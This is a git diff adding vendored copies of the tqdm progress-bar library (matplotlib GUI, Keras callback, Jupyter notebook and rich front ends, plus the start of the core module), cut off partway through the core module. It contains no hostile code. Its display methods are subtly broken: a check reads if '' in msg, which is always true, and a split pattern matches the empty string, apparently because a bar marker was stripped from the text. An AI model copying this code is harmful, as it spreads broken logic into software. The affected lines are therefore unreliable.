loc='center right') + # progressbar + self.hspan = plt.axhspan(0, 0.001, xmin=0, xmax=0, color=colour) + else: + # ax.set_xlim(-60, 0) + ax.set_xlim(0, 60) + ax.invert_xaxis() + ax.set_xlabel("seconds") + ax.legend(("cur", "est"), loc='lower left') + ax.grid() + # ax.set_xlabel('seconds') + ax.set_ylabel((self.unit if self.unit else "it") + "/s") + if self.unit_scale: + plt.ticklabel_format(style='sci', axis='y', scilimits=(0, 0)) + ax.yaxis.get_offset_text().set_x(-0.15) + + # Remember if external environment is interactive + self.wasion = plt.isinteractive() + plt.ion() + self.ax = ax + + def close(self): + if self.disable: + return + + self.disable = True + + with self.get_lock(): + self._instances.remove(self) + + # Restore toolbars + self.mpl.rcParams['toolbar'] = self.toolbar + # Return to non-interactive mode + if not self.wasion: + self.plt.ioff() + if self.leave: + self.display() + else: + self.plt.close(self.fig) + + def clear(self, *_, **__): + pass + + def display(self, *_, **__): + n = self.n + cur_t = self._time() + elapsed = cur_t - self.start_t + delta_it = n - self.last_print_n + delta_t = cur_t - self.last_print_t + + # Inline due to multiple calls + total = self.total + xdata = self.xdata + ydata = self.ydata + zdata = self.zdata + ax = self.ax + line1 = self.line1 + line2 = self.line2 + # instantaneous rate + y = delta_it / delta_t + # overall rate + z = n / elapsed + # update line data + xdata.append(n * 100.0 / total if total else cur_t) + ydata.append(y) + zdata.append(z) + + # Discard old values + # xmin, xmax = ax.get_xlim() + # if (not total) and elapsed > xmin * 1.1: + if (not total) and elapsed > 66: + xdata.popleft() + ydata.popleft() + zdata.popleft() + + ymin, ymax = ax.get_ylim() + if y > ymax or z > ymax: + ymax = 1.1 * y + ax.set_ylim(ymin, ymax) + ax.figure.canvas.draw() + + if total: + line1.set_data(xdata, ydata) + line2.set_data(xdata, zdata) + try: + poly_lims = self.hspan.get_xy() + except AttributeError: + self.hspan = self.plt.axhspan(0, 0.001, xmin=0, xmax=0, color='g') + poly_lims = self.hspan.get_xy() + poly_lims[0, 1] = ymin + poly_lims[1, 1] = ymax + poly_lims[2] = [n / total, ymax] + poly_lims[3] = [poly_lims[2, 0], ymin] + if len(poly_lims) > 4: + poly_lims[4, 1] = ymin + self.hspan.set_xy(poly_lims) + else: + t_ago = [cur_t - i for i in xdata] + line1.set_data(t_ago, ydata) + line2.set_data(t_ago, zdata) + + d = self.format_dict + # remove {bar} + d['bar_format'] = (d['bar_format'] or "{l_bar}{r_bar}").replace( + "{bar}", "") + msg = self.format_meter(**d) + if '' in msg: + msg = "".join(re.split(r'\|?\|?', msg, 1)) + ax.set_title(msg, fontname="DejaVu Sans Mono", fontsize=11) + self.plt.pause(1e-9) + + +def tgrange(*args, **kwargs): + """ + A shortcut for `tqdm.gui.tqdm(xrange(*args), **kwargs)`. + On Python3+, `range` is used instead of `xrange`. + """ + return tqdm_gui(_range(*args), **kwargs) + + +# Aliases +tqdm = tqdm_gui +trange = tgrange diff --git a/thirdparty/tqdm/keras.py b/thirdparty/tqdm/keras.py new file mode 100644 index 0000000..523e62e --- /dev/null +++ b/thirdparty/tqdm/keras.py @@ -0,0 +1,124 @@ +from __future__ import absolute_import, division + +from copy import copy +from functools import partial + +from .auto import tqdm as tqdm_auto + +try: + import keras +except (ImportError, AttributeError) as e: + try: + from tensorflow import keras + except ImportError: + raise e +__author__ = {"github.com/": ["casperdcl"]} +__all__ = ['TqdmCallback'] + + +class TqdmCallback(keras.callbacks.Callback): + """Keras callback for epoch and batch progress.""" + @staticmethod + def bar2callback(bar, pop=None, delta=(lambda logs: 1)): + def callback(_, logs=None): + n = delta(logs) + if logs: + if pop: + logs = copy(logs) + [logs.pop(i, 0) for i in pop] + bar.set_postfix(logs, refresh=False) + bar.update(n) + + return callback + + def __init__(self, epochs=None, data_size=None, batch_size=None, verbose=1, + tqdm_class=tqdm_auto, **tqdm_kwargs): + """ + Parameters + ---------- + epochs : int, optional + data_size : int, optional + Number of training pairs. + batch_size : int, optional + Number of training pairs per batch. + verbose : int + 0: epoch, 1: batch (transient), 2: batch. [default: 1]. + Will be set to `0` unless both `data_size` and `batch_size` + are given. + tqdm_class : optional + `tqdm` class to use for bars [default: `tqdm.auto.tqdm`]. + tqdm_kwargs : optional + Any other arguments used for all bars. + """ + if tqdm_kwargs: + tqdm_class = partial(tqdm_class, **tqdm_kwargs) + self.tqdm_class = tqdm_class + self.epoch_bar = tqdm_class(total=epochs, unit='epoch') + self.on_epoch_end = self.bar2callback(self.epoch_bar) + if data_size and batch_size: + self.batches = batches = (data_size + batch_size - 1) // batch_size + else: + self.batches = batches = None + self.verbose = verbose + if verbose == 1: + self.batch_bar = tqdm_class(total=batches, unit='batch', leave=False) + self.on_batch_end = self.bar2callback( + self.batch_bar, pop=['batch', 'size'], + delta=lambda logs: logs.get('size', 1)) + + def on_train_begin(self, *_, **__): + params = self.params.get + auto_total = params('epochs', params('nb_epoch', None)) + if auto_total is not None and auto_total != self.epoch_bar.total: + self.epoch_bar.reset(total=auto_total) + + def on_epoch_begin(self, epoch, *_, **__): + if self.epoch_bar.n < epoch: + ebar = self.epoch_bar + ebar.n = ebar.last_print_n = ebar.initial = epoch + if self.verbose: + params = self.params.get + total = params('samples', params( + 'nb_sample', params('steps', None))) or self.batches + if self.verbose == 2: + if hasattr(self, 'batch_bar'): + self.batch_bar.close() + self.batch_bar = self.tqdm_class( + total=total, unit='batch', leave=True, + unit_scale=1 / (params('batch_size', 1) or 1)) + self.on_batch_end = self.bar2callback( + self.batch_bar, pop=['batch', 'size'], + delta=lambda logs: logs.get('size', 1)) + elif self.verbose == 1: + self.batch_bar.unit_scale = 1 / (params('batch_size', 1) or 1) + self.batch_bar.reset(total=total) + else: + raise KeyError('Unknown verbosity') + + def on_train_end(self, *_, **__): + if self.verbose: + self.batch_bar.close() + self.epoch_bar.close() + + def display(self): + """Displays in the current cell in Notebooks.""" + container = getattr(self.epoch_bar, 'container', None) + if container is None: + return + from .notebook import display + display(container) + batch_bar = getattr(self, 'batch_bar', None) + if batch_bar is not None: + display(batch_bar.container) + + @staticmethod + def _implements_train_batch_hooks(): + return True + + @staticmethod + def _implements_test_batch_hooks(): + return True + + @staticmethod + def _implements_predict_batch_hooks(): + return True diff --git a/thirdparty/tqdm/notebook.py b/thirdparty/tqdm/notebook.py new file mode 100644 index 0000000..1f488d2 --- /dev/null +++ b/thirdparty/tqdm/notebook.py @@ -0,0 +1,327 @@ +""" +IPython/Jupyter Notebook progressbar decorator for iterators. +Includes a default `range` iterator printing to `stderr`. + +Usage: +>>> from tqdm.notebook import trange, tqdm +>>> for i in trange(10): +... ... +""" +# future division is important to divide integers and get as +# a result precise floating numbers (instead of truncated int) +from __future__ import absolute_import, division + +# import compatibility functions and utilities +import re +import sys +from weakref import proxy + +# to inherit from the tqdm class +from .std import tqdm as std_tqdm +from .utils import _range + +if True: # pragma: no cover + # import IPython/Jupyter base widget and display utilities + IPY = 0 + try: # IPython 4.x + import ipywidgets + IPY = 4 + except ImportError: # IPython 3.x / 2.x + IPY = 32 + import warnings + with warnings.catch_warnings(): + warnings.filterwarnings( + 'ignore', message=".*The `IPython.html` package has been deprecated.*") + try: + import IPython.html.widgets as ipywidgets # NOQA: F401 + except ImportError: + pass + + try: # IPython 4.x / 3.x + if IPY == 32: + from IPython.html.widgets import HTML + from IPython.html.widgets import FloatProgress as IProgress + from IPython.html.widgets import HBox + IPY = 3 + else: + from ipywidgets import HTML + from ipywidgets import FloatProgress as IProgress + from ipywidgets import HBox + except ImportError: + try: # IPython 2.x + from IPython.html.widgets import HTML + from IPython.html.widgets import ContainerWidget as HBox + from IPython.html.widgets import FloatProgressWidget as IProgress + IPY = 2 + except ImportError: + IPY = 0 + IProgress = None + HBox = object + + try: + from IPython.display import display # , clear_output + except ImportError: + pass + + # HTML encoding + try: # Py3 + from html import escape + except ImportError: # Py2 + from cgi import escape + +__author__ = {"github.com/": ["lrq3000", "casperdcl", "alexanderkuk"]} +__all__ = ['tqdm_notebook', 'tnrange', 'tqdm', 'trange'] + + +class TqdmHBox(HBox): + """`ipywidgets.HBox` with a pretty representation""" + def _repr_json_(self, pretty=None): + pbar = getattr(self, 'pbar', None) + if pbar is None: + return {} + d = pbar.format_dict + if pretty is not None: + d["ascii"] = not pretty + return d + + def __repr__(self, pretty=False): + pbar = getattr(self, 'pbar', None) + if pbar is None: + return super(TqdmHBox, self).__repr__() + return pbar.format_meter(**self._repr_json_(pretty)) + + def _repr_pretty_(self, pp, *_, **__): + pp.text(self.__repr__(True)) + + +class tqdm_notebook(std_tqdm): + """ + Experimental IPython/Jupyter Notebook widget using tqdm! + """ + @staticmethod + def status_printer(_, total=None, desc=None, ncols=None): + """ + Manage the printing of an IPython/Jupyter Notebook progress bar widget. + """ + # Fallback to text bar if there's no total + # DEPRECATED: replaced with an 'info' style bar + # if not total: + # return super(tqdm_notebook, tqdm_notebook).status_printer(file) + + # fp = file + + # Prepare IPython progress bar + if IProgress is None: # #187 #451 #558 #872 + raise ImportError( + "IProgress not found. Please update jupyter and ipywidgets." + " See https://ipywidgets.readthedocs.io/en/stable" + "/user_install.html") + if total: + pbar = IProgress(min=0, max=total) + else: # No total? Show info style bar with no progress tqdm status + pbar = IProgress(min=0, max=1) + pbar.value = 1 + pbar.bar_style = 'info' + if ncols is None: + pbar.layout.width = "20px" + + ltext = HTML() + rtext = HTML() + if desc: + ltext.value = desc + container = TqdmHBox(children=[ltext, pbar, rtext]) + # Prepare layout + if ncols is not None: # use default style of ipywidgets + # ncols could be 100, "100px", "100%" + ncols = str(ncols) # ipywidgets only accepts string + try: + if int(ncols) > 0: # isnumeric and positive + ncols += 'px' + except ValueError: + pass + pbar.layout.flex = '2' + container.layout.width = ncols + container.layout.display = 'inline-flex' + container.layout.flex_flow = 'row wrap' + + return container + + def display(self, msg=None, pos=None, + # additional signals + close=False, bar_style=None, check_delay=True): + # Note: contrary to native tqdm, msg='' does NOT clear bar + # goal is to keep all infos if error happens so user knows + # at which iteration the loop failed. + + # Clear previous output (really necessary?) + # clear_output(wait=1) + + if not msg and not close: + d = self.format_dict + # remove {bar} + d['bar_format'] = (d['bar_format'] or "{l_bar}{r_bar}").replace( + "{bar}", "") + msg = self.format_meter(**d) + + ltext, pbar, rtext = self.container.children + pbar.value = self.n + + if msg: + # html escape special characters (like '&') + if '' in msg: + left, right = map(escape, re.split(r'\|?\|?', msg, 1)) + else: + left, right = '', escape(msg) + + # Update description + ltext.value = left + # never clear the bar (signal: msg='') + if right: + rtext.value = right + + # Change bar style + if bar_style: + # Hack-ish way to avoid the danger bar_style being overridden by + # success because the bar gets closed after the error... + if pbar.bar_style != 'danger' or bar_style != 'success': + pbar.bar_style = bar_style + + # Special signal to close the bar + if close and pbar.bar_style != 'danger': # hide only if no error + try: + self.container.close() + except AttributeError: + self.container.visible = False + + if check_delay and self.delay > 0 and not self.displayed: + display(self.container) + self.displayed = True + + @property + def colour(self): + if hasattr(self, 'container'): + return self.container.children[-2].style.bar_color + + @colour.setter + def colour(self, bar_color): + if hasattr(self, 'container'): + self.container.children[-2].style.bar_color = bar_color + + def __init__(self, *args, **kwargs): + """ + Supports the usual `tqdm.tqdm` parameters as well as those listed below. + + Parameters + ---------- + display : Whether to call `display(self.container)` immediately + [default: True]. + """ + kwargs = kwargs.copy() + # Setup default output + file_kwarg = kwargs.get('file', sys.stderr) + if file_kwarg is sys.stderr or file_kwarg is None: + kwargs['file'] = sys.stdout # avoid the red block in IPython + + # Initialize parent class + avoid printing by using gui=True + kwargs['gui'] = True + # convert disable = None to False + kwargs['disable'] = bool(kwargs.get('disable', False)) + colour = kwargs.pop('colour', None) + display_here = kwargs.pop('display', True) + super(tqdm_notebook, self).__init__(*args, **kwargs) + if self.disable or not kwargs['gui']: + self.disp = lambda *_, **__: None + return + + # Get bar width + self.ncols = '100%' if self.dynamic_ncols else kwargs.get("ncols", None) + + # Replace with IPython progress bar display (with correct total) + unit_scale = 1 if self.unit_scale is True else self.unit_scale or 1 + total = self.total * unit_scale if self.total else self.total + self.container = self.status_printer(self.fp, total, self.desc, self.ncols) + self.container.pbar = proxy(self) + self.displayed = False + if display_here and self.delay <= 0: + display(self.container) + self.displayed = True + self.disp = self.display + self.colour = colour + + # Print initial bar state + if not self.disable: + self.display(check_delay=False) + + def __iter__(self): + try: + for obj in super(tqdm_notebook, self).__iter__(): + # return super(tqdm...) will not catch exception + yield obj + # NB: except ... [ as ...] breaks IPython async KeyboardInterrupt + except: # NOQA + self.disp(bar_style='danger') + raise + # NB: don't `finally: close()` + # since this could be a shared bar which the user will `reset()` + + def update(self, n=1): + try: + return super(tqdm_notebook, self).update(n=n) + # NB: except ... [ as ...] breaks IPython async KeyboardInterrupt + except: # NOQA + # cannot catch KeyboardInterrupt when using manual tqdm + # as the interrupt will most likely happen on another statement + self.disp(bar_style='danger') + raise + # NB: don't `finally: close()` + # since this could be a shared bar which the user will `reset()` + + def close(self): + if self.disable: + return + super(tqdm_notebook, self).close() + # Try to detect if there was an error or KeyboardInterrupt + # in manual mode: if n < total, things probably got wrong + if self.total and self.n < self.total: + self.disp(bar_style='danger', check_delay=False) + else: + if self.leave: + self.disp(bar_style='success', check_delay=False) + else: + self.disp(close=True, check_delay=False) + + def clear(self, *_, **__): + pass + + def reset(self, total=None): + """ + Resets to 0 iterations for repeated use. + + Consider combining with `leave=True`. + + Parameters + ---------- + total : int or float, optional. Total to use for the new bar. + """ + if self.disable: + return super(tqdm_notebook, self).reset(total=total) + _, pbar, _ = self.container.children + pbar.bar_style = '' + if total is not None: + pbar.max = total + if not self.total and self.ncols is None: # no longer unknown total + pbar.layout.width = None # reset width + return super(tqdm_notebook, self).reset(total=total) + + +def tnrange(*args, **kwargs): + """ + A shortcut for `tqdm.notebook.tqdm(xrange(*args), **kwargs)`. + On Python3+, `range` is used instead of `xrange`. + """ + return tqdm_notebook(_range(*args), **kwargs) + + +# Aliases +tqdm = tqdm_notebook +trange = tnrange diff --git a/thirdparty/tqdm/rich.py b/thirdparty/tqdm/rich.py new file mode 100644 index 0000000..cf8e714 --- /dev/null +++ b/thirdparty/tqdm/rich.py @@ -0,0 +1,152 @@ +""" +`rich.progress` decorator for iterators. + +Usage: +>>> from tqdm.rich import trange, tqdm +>>> for i in trange(10): +... ... +""" +from __future__ import absolute_import + +from warnings import warn + +from rich.progress import ( + BarColumn, Progress, ProgressColumn, Text, TimeElapsedColumn, TimeRemainingColumn, filesize) + +from .std import TqdmExperimentalWarning +from .std import tqdm as std_tqdm +from .utils import _range + +__author__ = {"github.com/": ["casperdcl"]} +__all__ = ['tqdm_rich', 'trrange', 'tqdm', 'trange'] + + +class FractionColumn(ProgressColumn): + """Renders completed/total, e.g. '0.5/2.3 G'.""" + def __init__(self, unit_scale=False, unit_divisor=1000): + self.unit_scale = unit_scale + self.unit_divisor = unit_divisor + super().__init__() + + def render(self, task): + """Calculate common unit for completed and total.""" + completed = int(task.completed) + total = int(task.total) + if self.unit_scale: + unit, suffix = filesize.pick_unit_and_suffix( + total, + ["", "K", "M", "G", "T", "P", "E", "Z", "Y"], + self.unit_divisor, + ) + else: + unit, suffix = filesize.pick_unit_and_suffix(total, [""], 1) + precision = 0 if unit == 1 else 1 + return Text( + f"{completed/unit:,.{precision}f}/{total/unit:,.{precision}f} {suffix}", + style="progress.download") + + +class RateColumn(ProgressColumn): + """Renders human readable transfer speed.""" + def __init__(self, unit="", unit_scale=False, unit_divisor=1000): + self.unit = unit + self.unit_scale = unit_scale + self.unit_divisor = unit_divisor + super().__init__() + + def render(self, task): + """Show data transfer speed.""" + speed = task.speed + if speed is None: + return Text(f"? {self.unit}/s", style="progress.data.speed") + if self.unit_scale: + unit, suffix = filesize.pick_unit_and_suffix( + speed, + ["", "K", "M", "G", "T", "P", "E", "Z", "Y"], + self.unit_divisor, + ) + else: + unit, suffix = filesize.pick_unit_and_suffix(speed, [""], 1) + precision = 0 if unit == 1 else 1 + return Text(f"{speed/unit:,.{precision}f} {suffix}{self.unit}/s", + style="progress.data.speed") + + +class tqdm_rich(std_tqdm): # pragma: no cover + """Experimental rich.progress GUI version of tqdm!""" + # TODO: @classmethod: write()? + def __init__(self, *args, **kwargs): + """ + This class accepts the following parameters *in addition* to + the parameters accepted by `tqdm`. + + Parameters + ---------- + progress : tuple, optional + arguments for `rich.progress.Progress()`. + """ + kwargs = kwargs.copy() + kwargs['gui'] = True + # convert disable = None to False + kwargs['disable'] = bool(kwargs.get('disable', False)) + progress = kwargs.pop('progress', None) + super(tqdm_rich, self).__init__(*args, **kwargs) + + if self.disable: + return + + warn("rich is experimental/alpha", TqdmExperimentalWarning, stacklevel=2) + d = self.format_dict + if progress is None: + progress = ( + "[progress.description]{task.description}" + "[progress.percentage]{task.percentage:>4.0f}%", + BarColumn(bar_width=None), + FractionColumn( + unit_scale=d['unit_scale'], unit_divisor=d['unit_divisor']), + "[", TimeElapsedColumn(), "<", TimeRemainingColumn(), + ",", RateColumn(unit=d['unit'], unit_scale=d['unit_scale'], + unit_divisor=d['unit_divisor']), "]" + ) + self._prog = Progress(*progress, transient=not self.leave) + self._prog.__enter__() + self._task_id = self._prog.add_task(self.desc or "", **d) + + def close(self): + if self.disable: + return + super(tqdm_rich, self).close() + self._prog.__exit__(None, None, None) + + def clear(self, *_, **__): + pass + + def display(self, *_, **__): + if not hasattr(self, '_prog'): + return + self._prog.update(self._task_id, completed=self.n, description=self.desc) + + def reset(self, total=None): + """ + Resets to 0 iterations for repeated use. + + Parameters + ---------- + total : int or float, optional. Total to use for the new bar. + """ + if hasattr(self, '_prog'): + self._prog.reset(total=total) + super(tqdm_rich, self).reset(total=total) + + +def trrange(*args, **kwargs): + """ + A shortcut for `tqdm.rich.tqdm(xrange(*args), **kwargs)`. + On Python3+, `range` is used instead of `xrange`. + """ + return tqdm_rich(_range(*args), **kwargs) + + +# Aliases +tqdm = tqdm_rich +trange = trrange diff --git a/thirdparty/tqdm/std.py b/thirdparty/tqdm/std.py new file mode 100644 index 0000000..e81c836 --- /dev/null +++ b/thirdparty/tqdm/std.py @@ -0,0 +1,1526 @@ +""" +Customisable progressbar decorator for iterators. +Includes a default `range` iterator printing to `stderr`. + +Usage: +>>> from tqdm import trange, tqdm +>>> for i in trange(10): +... ... +""" +from __future__ import absolute_import, division + +import sys +from collections import OrderedDict, defaultdict +from contextlib import contextmanager +from datetime import datetime, timedelta +from numbers import Number +from time import time +from warnings import warn +from weakref import WeakSet + +from ._monitor import TMonitor +from .utils import ( + CallbackIOWrapper, Comparable, DisableOnWriteError, FormatReplace, SimpleTextIOWrapper, + _basestring, _is_ascii, _range, _screen_shape_wrapper, _supports_unicode, _term_move_up, + _unich, _unicode, disp_len, disp_trim) + +__author__ = "https://github.com/tqdm/tqdm#contributions" +__all__ = ['tqdm', 'trange', + 'TqdmTypeError', 'TqdmKeyError', 'TqdmWarning', + 'TqdmExperimentalWarning', 'TqdmDeprecationWarning', + 'TqdmMonitorWarning'] + + +class TqdmTypeError(TypeError): + pass + + +class TqdmKeyError(KeyError): + pass + + +class TqdmWarning(Warning): + """base class for all tqdm warnings. + + Used for non-external-code-breaking errors, such as garbled printing. + """ + def __init__(self, msg, fp_write=None, *a, **k): + if fp_write is not None: + fp_write("\n" + self.__class__.__name__ + ": " + str(msg).rstrip() + '\n') + else: + super(TqdmWarning, self).__init__(msg, *a, **k) + + +class TqdmExperimentalWarning(TqdmWarning, FutureWarning): + """beta feature, unstable API and behaviour""" + pass + + +class TqdmDeprecationWarning(TqdmWarning, DeprecationWarning): + # not suppressed if raised + pass + + +class TqdmMonitorWarning(TqdmWarning, RuntimeWarning): + """tqdm monitor errors which do not affect external functionality""" + pass + + +def TRLock(*args, **kwargs): + """threading RLock""" + try: + from threading import RLock + return RLock(*args, **kwargs) + except (ImportError, OSError): # pragma: no cover + pass + + +class TqdmDefaultWriteLock(object): + """ + Provide a default write lock for thread and multiprocessing safety. + Works only on platforms supporting `fork` (so Windows is excluded). + You must initialise a `tqdm` or `TqdmDefaultWriteLock` instance + before forking in order for the write lock to work. + On Windows, you need to supply the lock from the parent to the children as + an argument to joblib or the parallelism lib you use. + """ + # global thread lock so no setup required for multithreading. + # NB: Do not create multiprocessing lock as it sets the multiprocessing + # context, disallowing `spawn()`/`forkserver()` + th_lock = TRLock() + + def __init__(self): + # Create global parallelism locks to avoid racing issues with parallel + # bars works only if fork available (Linux/MacOSX, but not Windows) + cls = type(self) + root_lock = cls.th_lock + if root_lock is not None: + root_lock.acquire() + cls.create_mp_lock() + self.locks = [lk for lk in [cls.mp_lock, cls.th_lock] if lk is not None] + if root_lock is not None: + root_lock.release() + + def acquire(self, *a, **k): + for lock in self.locks: + lock.acquire(*a, **k) + + def release(self): + for lock in self.locks[::-1]: # Release in inverse order of acquisition + lock.release() + + def __enter__(self): + self.acquire() + + def __exit__(self, *exc): + self.release() + + @classmethod + def create_mp_lock(cls): + if not hasattr(cls, 'mp_lock'): + try: + from multiprocessing import RLock + cls.mp_lock = RLock() + except (ImportError, OSError): # pragma: no cover + cls.mp_lock = None + + @classmethod + def create_th_lock(cls): + assert hasattr(cls, 'th_lock') + warn("create_th_lock not needed anymore", TqdmDeprecationWarning, stacklevel=2) + + +class Bar(object): + """ + `str.format`-able bar with format specifiers: `[width][type]` + + - `width` + + unspecified (default): use `self.default_len` + + `int >= 0`: overrides `self.default_len` + + `int < 0`: subtract from `self.default_len` + - `type` + + `a`: ascii (`charset=self.ASCII` override) + + `u`: unicode (`charset=self.UTF` override) + + `b`: blank (`charset=" "` override) + """ + ASCII = " 123456789#" + UTF = u" " + u''.join(map(_unich, range(0x258F, 0x2587, -1))) + BLANK = " " + COLOUR_RESET = '\x1b[0m' + COLOUR_RGB = '\x1b[38;2;%d;%d;%dm' + COLOURS = {'BLACK': '\x1b[30m', 'RED': '\x1b[31m', 'GREEN': '\x1b[32m', + 'YELLOW': '\x1b[33m', 'BLUE': '\x1b[34m', 'MAGENTA': '\x1b[35m', + 'CYAN': '\x1b[36m', 'WHITE': '\x1b[37m'} + + def __init__(self, frac, default_len=10, charset=UTF, colour=None): + if not 0 <= frac <= 1: + warn("clamping frac to range [0, 1]", TqdmWarning, stacklevel=2) + frac = max(0, min(1, frac)) + assert default_len > 0 + self.frac = frac + self.default_len = default_len + self.charset = charset + self.colour = colour + + @property + def colour(self): + return self._colour + + @colour.setter + def colour(self, value): + if not value: + self._colour = None + return + try: + if value.upper() in self.COLOURS: + self._colour = self.COLOURS[value.upper()] + elif value[0] == '#' and len(value) == 7: + self._colour = self.COLOUR_RGB % tuple( + int(i, 16) for i in (value[1:3], value[3:5], value[5:7])) + else: + raise KeyError + except (KeyError, AttributeError): + warn("Unknown colour (%s); valid choices: [hex (#00ff00), %s]" % ( + value, ", ".join(self.COLOURS)), + TqdmWarning, stacklevel=2) + self._colour = None + + def __format__(self, format_spec): + if format_spec: + _type = format_spec[-1].lower() + try: + charset = {'a': self.ASCII, 'u': self.UTF, 'b': self.BLANK}[_type] + except KeyError: + charset = self.charset + else: + format_spec = format_spec[:-1] + if format_spec: + N_BARS = int(format_spec) + if N_BARS < 0: + N_BARS += self.default_len + else: + N_BARS = self.default_len + else: + charset = self.charset + N_BARS = self.default_len + + nsyms = len(charset) - 1 + bar_length, frac_bar_length = divmod(int(self.frac * N_BARS * nsyms), nsyms) + + res = charset[-1] * bar_length + if bar_length < N_BARS: # whitespace padding + res = res + charset[frac_bar_length] + charset[0] * (N_BARS - bar_length - 1) + return self.colour + res + self.COLOUR_RESET if self.colour else res + + +class EMA(object): + """ + Exponential moving average: smoothing to give progressively lower + weights to older values. + + Parameters + ---------- + smoothing : float, optional + Smoothing factor in range [0, 1], [default: 0.3]. + Increase to give more weight to recent values. + Ranges from 0 (yields old value) to 1 (yields new value). + """ + def __init__(self, smoothing=0.3): + self.alpha = smoothing + self.last = 0 + self.calls = 0 + + def __call__(self, x=None): + """ + Parameters + ---------- + x : float + New value to include in EMA. + """ + beta = 1 - self.alpha + if x is not None: + self.last = self.alpha * x + beta * self.last + self.calls += 1 + return self.last / (1 - beta ** self.calls) if self.calls else self.last + + +class tqdm(Comparable): + """ + Decorate an iterable object, returning an iterator which acts exactly + like the original iterable, but prints a dynamically updating + progressbar every time a value is requested. + """ + + monitor_interval = 10 # set to 0 to disable the thread + monitor = None + _instances = WeakSet() + + @staticmethod + def format_sizeof(num, suffix='', divisor=1000): + """ + Formats a number (greater than unity) with SI Order of Magnitude + prefixes. + + Parameters + ---------- + num : float + Number ( >= 1) to format. + suffix : str, optional + Post-postfix [default: '']. + divisor : float, optional + Divisor between prefixes [default: 1000]. + + Returns + ------- + out : str + Number with Order of Magnitude SI unit postfix. + """ + for unit in ['', 'k', 'M', 'G', 'T', 'P', 'E', 'Z']: + if abs(num) < 999.5: + if abs(num) < 99.95: + if abs(num) < 9.995: + return '{0:1.2f}'.format(num) + unit + suffix + return '{0:2.1f}'.format(num) + unit + suffix + return '{0:3.0f}'.format(num) + unit + suffix + num /= divisor + return '{0:3.1f}Y'.format(num) + suffix + + @staticmethod + def format_interval(t): + """ + Formats a number of seconds as a clock time, [H:]MM:SS + + Parameters + ---------- + t : int + Number of seconds. + + Returns + ------- + out : str + [H:]MM:SS + """ + mins, s = divmod(int(t), 60) + h, m = divmod(mins, 60) + if h: + return '{0:d}:{1:02d}:{2:02d}'.format(h, m, s) + else: + return '{0:02d}:{1:02d}'.format(m, s) + + @staticmethod + def format_num(n): + """ + Intelligent scientific notation (.3g). + + Parameters + ---------- + n : int or float or Numeric + A Number. + + Returns + ------- + out : str + Formatted number. + """ + f = '{0:.3g}'.format(n).replace('+0', '+').replace('-0', '-') + n = str(n) + return f if len(f) < len(n) else n + + @staticmethod + def status_printer(file): + """ + Manage the printing and in-place updating of a line of characters. + Note that if the string is longer than a line, then in-place + updating may not work (it will print a new line at each refresh). + """ + fp = file + fp_flush = getattr(fp, 'flush', lambda: None) # pragma: no cover + if fp in (sys.stderr, sys.stdout): + sys.stderr.flush() + sys.stdout.flush() + + def fp_write(s): + fp.write(_unicode(s)) + fp_flush() + + last_len = [0] + + def print_status(s): + len_s = disp_len(s) + fp_write('\r' + s + (' ' * max(last_len[0] - len_s, 0))) + last_len[0] = len_s + + return print_status + + @staticmethod + def format_meter(n, total, elapsed, ncols=None, prefix='', ascii=False, unit='it', + unit_scale=False, rate=None, bar_format=None, postfix=None, + unit_divisor=1000, initial=0, colour=None, **extra_kwargs): + """ + Return a string-based progress bar given some parameters + + Parameters + ---------- + n : int or float + Number of finished iterations. + total : int or float + The expected total number of iterations. If meaningless (None), + only basic progress statistics are displayed (no ETA). + elapsed : float + Number of seconds passed since start. + ncols : int, optional + The width of the entire output message. If specified, + dynamically resizes `{bar}` to stay within this bound + [default: None]. If `0`, will not print any bar (only stats). + The fallback is `{bar:10}`. + prefix : str, optional + Prefix message (included in total width) [default: '']. + Use as {desc} in bar_format string. + ascii : bool, optional or str, optional + If not set, use unicode (smooth blocks) to fill the meter + [default: False]. The fallback is to use ASCII characters + " 123456789#". + unit : str, optional + The iteration unit [default: 'it']. + unit_scale : bool or int or float, optional + If 1 or True, the number of iterations will be printed with an + appropriate SI metric prefix (k = 10^3, M = 10^6, etc.) + [default: False]. If any other non-zero number, will scale + `total` and `n`. + rate : float, optional + Manual override for iteration rate. + If [default: None], uses n/elapsed. + bar_format : str, optional + Specify a custom bar string formatting. May impact performance. + [default: '{l_bar}{bar}{r_bar}'], where + l_bar='{desc}: {percentage:3.0f}%|' and + r_bar='| {n_fmt}/{total_fmt} [{elapsed}<{remaining}, ' + '{rate_fmt}{postfix}]' + Possible vars: l_bar, bar, r_bar, n, n_fmt, total, total_fmt, + percentage, elapsed, elapsed_s, ncols, nrows, desc, unit, + rate, rate_fmt, rate_noinv, rate_noinv_fmt, + rate_inv, rate_inv_fmt, postfix, unit_divisor, + remaining, remaining_s, eta. + Note that a trailing ": " is automatically removed after {desc} + if the latter is empty. + postfix : *, optional + Similar to `prefix`, but placed at the end + (e.g. for additional stats). + Note: postfix is usually a string (not a dict) for this method, + and will if possible be set to postfix = ', ' + postfix. + However other types are supported (#382). + unit_divisor : float, optional + [default: 1000], ignored unless `unit_scale` is True. + initial : int or float, optional + The initial counter value [default: 0]. + colour : str, optional + Bar colour (e.g. 'green', '#00ff00'). + + Returns + ------- + out : Formatted meter and stats, ready to display. + """ + + # sanity check: total + if total and n >= (total + 0.5): # allow float imprecision (#849) + total = None + + # apply custom scale if necessary + if unit_scale and unit_scale not in (True, 1): + if total: + total *= unit_scale + n *= unit_scale + if rate: + rate *= unit_scale # by default rate = self.avg_dn / self.avg_dt + unit_scale = False + + elapsed_str = tqdm.format_interval(elapsed) + + # if unspecified, attempt to use rate = average speed + # (we allow manual override since predicting time is an arcane art) + if rate is None and elapsed: + rate = (n - initial) / elapsed + inv_rate = 1 / rate if rate else None + format_sizeof = tqdm.format_sizeof + rate_noinv_fmt = ((format_sizeof(rate) if unit_scale else + '{0:5.2f}'.format(rate)) if rate else '?') + unit + '/s' + rate_inv_fmt = ( + (format_sizeof(inv_rate) if unit_scale else '{0:5.2f}'.format(inv_rate)) + if inv_rate else '?') + 's/' + unit + rate_fmt = rate_inv_fmt if inv_rate and inv_rate > 1 else rate_noinv_fmt + + if unit_scale: + n_fmt = format_sizeof(n, divisor=unit_divisor) + total_fmt = format_sizeof(total, divisor=unit_divisor) if total is not None else '?' + else: + n_fmt = str(n) + total_fmt = str(total) if total is not None else '?' + + try: + postfix = ', ' + postfix if postfix else '' + except TypeError: + pass + + remaining = (total - n) / rate if rate and total else 0 + remaining_str = tqdm.format_interval(remaining) if rate else '?' + try: + eta_dt = (datetime.now() + timedelta(seconds=remaining) + if rate and total else datetime.utcfromtimestamp(0)) + except OverflowError: + eta_dt 